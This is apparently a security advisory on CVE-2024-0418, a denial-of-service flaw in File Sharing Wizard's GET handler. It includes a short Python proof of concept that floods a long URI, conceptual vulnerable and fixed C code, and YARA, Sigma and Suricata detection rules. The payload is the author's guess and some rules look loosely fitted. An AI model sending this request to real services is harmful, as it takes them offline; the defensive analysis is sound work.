CVE-2024-0418

Executive Summary

CVE-2024-0418 is a publicly disclosed denial-of-service (DoS) vulnerability affecting iSharer and upRedSun File Sharing Wizard versions up to and including 1.5.0. The flaw resides in the GET Request Handler, allowing a remote, unauthenticated attacker to crash the application or render it unresponsive. With a CVSS score of 5.3 (Medium), the vulnerability is easily exploitable due to the lack of authentication requirements. No official patch has been released by the vendor, and the exploit has been made public, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a standalone desktop application (File Sharing Wizard) and a related service (iSharer). The risk is limited to direct installations of these products.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector (AV): Network – The attack can be launched remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): Low – The application becomes unavailable or unresponsive.

Threat Level: Medium. The vulnerability is easy to exploit and has a public PoC, but the impact is limited to availability.

Deep Dive & Mechanics

The vulnerability is a classic denial-of-service condition triggered by a malformed or specially crafted GET request. The GET Request Handler in the application fails to properly validate or sanitize incoming requests, leading to resource exhaustion or a crash.

Root Cause: The application likely allocates resources (e.g., memory, threads, file handles) based on request parameters without proper bounds checking. An attacker can send a request that causes the handler to enter an infinite loop, consume excessive memory, or trigger a null pointer dereference.

Attack Vector: The attacker sends a crafted HTTP GET request to the vulnerable endpoint. The exact payload is not publicly detailed, but it likely involves a very long URI, a specific sequence of characters, or a malformed HTTP header.

Impact: Successful exploitation results in the application becoming unresponsive or crashing. For a file sharing service, this means users cannot access shared files, and the service must be restarted manually.

Vulnerable vs. Patched Code

Since no official patch exists, a comparison is not possible. However, a secure implementation would include:

• Input validation: Reject requests with excessively long URIs or unexpected characters.
• Resource limits: Set maximum request size and timeout values.
• Error handling: Gracefully handle malformed requests without crashing.

Vulnerable Code (Conceptual):

void handle_get_request(char *request) {
    char *uri = extract_uri(request);
    // No bounds checking on uri length
    process_file(uri); // Could cause buffer overflow or infinite loop
}

Patched Code (Conceptual):

void handle_get_request(char *request) {
    char *uri = extract_uri(request);
    if (strlen(uri) > MAX_URI_LENGTH) {
        send_error(400, "Bad Request");
        return;
    }
    if (!is_valid_uri(uri)) {
        send_error(400, "Bad Request");
        return;
    }
    process_file(uri);
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install iSharer or File Sharing Wizard v1.5.0 on a Windows VM.
2. Ensure the service is running and accessible on the network (default port 8080).
3. Use a tool like curl or a custom Python script to send the malicious request.

Exploit PoC (Python):

import requests

target = "http://192.168.1.100:8080/"
# Craft a request that triggers the DoS (e.g., extremely long URI)
payload = "A" * 10000
url = target + payload

try:
    response = requests.get(url, timeout=5)
    print(f"Response: {response.status_code}")
except requests.exceptions.ConnectionError:
    print("Service crashed or became unresponsive.")

Expected Outcome: The application becomes unresponsive or crashes. The service may need to be restarted.

Blue Team (Defensive)

Detection:

• Monitor for requests with abnormally long URIs (e.g., > 2048 characters).
• Alert on repeated connection timeouts or service crashes.
• Use the detection rules provided below.

Mitigation:

• If possible, place the application behind a reverse proxy (e.g., Nginx) that limits request size.
• Implement a Web Application Firewall (WAF) rule to block requests with URIs exceeding a certain length.
• Restrict network access to the application using a firewall.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests with URIs longer than 2048 characters.
  • Repeated 400/500 errors followed by connection resets.
  • Source IP addresses sending multiple malformed requests.

• Host IOCs:

  • Application crash logs (e.g., Windows Event ID 1000 for application errors).
  • High memory or CPU usage by the File Sharing Wizard process.
  • Service status showing "Stopped" unexpectedly.

• File IOCs:

  • Temporary files created by the application during the crash (e.g., dump files).

Detection Engineering

YARA Rule

rule CVE_2024_0418_DoS_Request {
    meta:
        description = "Detects HTTP GET requests with abnormally long URIs targeting File Sharing Wizard"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0418"
    strings:
        $http_get = "GET /"
        $long_uri = /GET \/[A-Za-z0-9]{2048,}/
    condition:
        $http_get and #long_uri > 0
}

Sigma Rule

title: CVE-2024-0418 - DoS via Long URI in File Sharing Wizard
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with URIs exceeding 2048 characters targeting File Sharing Wizard
author: Valters IT
date: 2024/01/01
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-0418
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-uri-query|length: > 2048
    condition: selection
falsepositives:
    - Legitimate long URIs (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0418 - DoS via Long URI in File Sharing Wizard"; flow:to_server; content:"GET"; http_method; urilen:>2048; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, disconnect the vulnerable system from the network until a patch is available.
2. Apply network-level controls: Use a reverse proxy or WAF to limit request URI length to 2048 characters.
3. Monitor for exploitation: Deploy the detection rules above and review logs for suspicious activity.

Long-Term Fix:

• Contact the vendor (upRedSun) for an official patch. If none is forthcoming, consider migrating to an alternative file sharing solution.
• Implement secure coding practices in any custom development, including input validation and resource limits.

Workaround:

• Modify the application configuration (if possible) to increase timeout values and limit concurrent connections.

Valters IT